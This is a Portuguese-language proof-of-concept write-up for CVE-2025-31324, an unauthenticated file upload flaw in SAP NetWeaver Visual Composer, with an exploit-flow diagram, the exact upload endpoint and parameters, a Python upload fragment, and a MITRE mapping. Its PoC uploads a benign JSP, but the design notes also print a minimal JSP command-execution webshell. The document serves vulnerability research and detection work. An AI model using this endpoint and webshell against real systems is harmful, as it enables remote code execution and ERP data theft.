
Proof-of-concept de exploit para CVE-2025-31324, um upload de arquivo não autenticado no SAP NetWeaver Visual Composer, com orientações de detecção, mapeamento MITRE e etapas de remediação.
Type: Proof of Concept — Vulnerability Research CVE: CVE-2025-31324 CVSS: 10.0 Critical (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) Status: Patched — SAP Security Note 3594142 + 3604119 Added to CISA KEV: May 2025
⚠️ Este PoC utiliza um arquivo JSP benigno ("Hello World") para validar a superfície de ataque sem executar código malicioso. Uso exclusivo em ambientes autorizados para fins de pentesting e desenvolvimento de detecções.
Developed by: HKK$ cat ./vulnerability_summary.txtA vulnerabilidade CVE-2025-31324 reside no componente Visual Composer Metadata Uploader do SAP NetWeaver AS Java — uma falha de missing authorization check que permite a qualquer atacante não autenticado enviar requisições POST para o endpoint /developmentserver/metadatauploader, resultando em upload irrestrito de arquivos arbitrários.
A CVE afeta especificamente o SAP NetWeaver Visual Composer Framework versão 7.50, com score CVSS 10.0 — o máximo possível.
Threat actors exploraram ativamente esta vulnerabilidade de janeiro a maio de 2025, implantando webshells persistentes em centenas de sistemas ao redor do mundo.
$ cat ./impact.txtPor operar com privilégios elevados e estar próximo a dados ERP, a movimentação lateral para SAP ABAP stacks ou bancos de dados conectados é trivial após a exploração.
A cadeia de exploração completa em ataques reais:
Upload JSP (CVE-2025-31324)
→ Webshell persistente no servidor
→ RCE como processo SAP (alta privilégio)
→ Acesso a dados ERP (Finance, HR, Supply Chain)
→ Lateral movement para ABAP / DB
→ Deploy de frameworks C2 (ex: Brute Ratel)
$ cat ./architecture.txt┌─────────────────────────────────────────────────────────────────────────┐
│ CVE-2025-31324 — EXPLOIT FLOW │
│ │
│ ATACANTE SAP NETWEAVER AS JAVA │
│ │
│ POST /developmentserver/metadatauploader │
│ Content-Type: multipart/form-data ┌─────────────────────┐ │
│ Body: arquivo JSP/WAR/qualquer ──────────► │ Metadata Uploader │ │
│ (sem autenticação) │ │ │
│ │ ❌ Sem verificação │ │
│ │ de auth │ │
│ │ ❌ Sem validação │ │
│ │ de extensão │ │
│ │ ❌ Sem sanitização │ │
│ │ de conteúdo │ │
│ └────────┬────────────┘ │
│ │ │
│ Arquivo salvo em: │
│ /irj/root/ ou similar │
│ │ │
│ GET /irj/hello_world.jsp ◄──────────────────────────┘ │
│ → Hello World (PoC benigno) │
│ → Webshell (exploit real) │
└─────────────────────────────────────────────────────────────────────────┘
O /developmentserver/metadatauploader faz parte do SAP Visual Composer — uma ferramenta de desenvolvimento low-code para analistas de negócio criarem aplicações SAP sem código Java. O endpoint foi projetado para receber modelos de metadata durante o desenvolvimento. Embora o componente não esteja habilitado na configuração padrão do NetWeaver, a Onapsis reportou que está amplamente ativado em ambientes de produção.
$ cat ./design_decisions.mdfile_content = """<%@ page language="java" contentType="text/html; charset=UTF-8" ...%>
<h1>Hello World</h1>"""
Por que JSP e não outro formato?
O SAP NetWeaver AS Java executa uma JVM — arquivos .jsp são interpretados diretamente pelo servlet container (Apache Tomcat embutido) sem compilação prévia. Isso torna o JSP o formato ideal para webshells em ambientes Java.
A escolha do conteúdo benigno ("Hello World") é deliberada para o PoC:
Em exploração real, o conteúdo seria um webshell JSP com execução de comandos, ex:
<%
String cmd = request.getParameter("cmd");
Runtime.getRuntime().exec(cmd);
%>
multipart/form-data — Por que esse Content-Type?files = {'file': (file_name, open(file_name, 'rb'), 'application/octet-stream')}
O endpoint espera uma requisição multipart/form-data — o mesmo formato usado por formulários HTML de upload de arquivo. Isso é intencional no design original do Visual Composer (upload de modelos de desenvolvimento).
A biblioteca requests monta automaticamente os boundaries do multipart quando files= é passado — o header Content-Type: multipart/form-data; boundary=... é gerado internamente.
verify=False: desabilita validação do certificado TLS — necessário porque ambientes SAP frequentemente usam certificados self-signed. Em produção, usar verify='/path/to/ca-bundle.crt'.
https://<host>:<port>/developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1
| Componente | Significado |
|---|---|
:50201 | Porta padrão do SAP ICM (Internet Communication Manager) HTTPS |
/developmentserver/ | Servlet de desenvolvimento do Visual Composer |
metadatauploader | Endpoint específico de upload de metadados |
CONTENTTYPE=MODEL | Tipo de conteúdo esperado pelo endpoint |
CLIENT=1 | Mandante SAP (client) — 000, 100, 001 são comuns |
$ cat ./mitre_mapping.ymltactic: Initial Access
- T1190 # Exploit Public-Facing Application
# Exploração do endpoint /developmentserver/metadatauploader
# sem autenticação via HTTP POST
tactic: Execution
- T1505.003 # Server Software Component: Web Shell
# JSP webshell uploaded → executado pelo servlet container (Tomcat)
tactic: Persistence
- T1505.003 # Web Shell como mecanismo de persistência
# Arquivo JSP persiste no filesystem do servidor entre reinicializações
tactic: Defense Evasion
- T1036 # Masquerading
# Webshells nomeados como arquivos legítimos SAP (ex: metadata.jsp)
tactic: Discovery
- T1082 # System Information Discovery
# Pós-RCE: enumerar processos, usuários, paths SAP
tactic: Lateral Movement
- T1210 # Exploitation of Remote Services
# Acesso ao ABAP stack, bancos de dados conectados via RCE
tactic: Collection
- T1005 # Data from Local System
# Acesso direto a dados ERP (Finance, HR, Supply Chain)
$ cat ./affected_versions.txtProduto: SAP NetWeaver Application Server Java
Componente: Visual Composer Framework
Versão: 7.50 (todas as builds antes do patch de abril/maio 2025)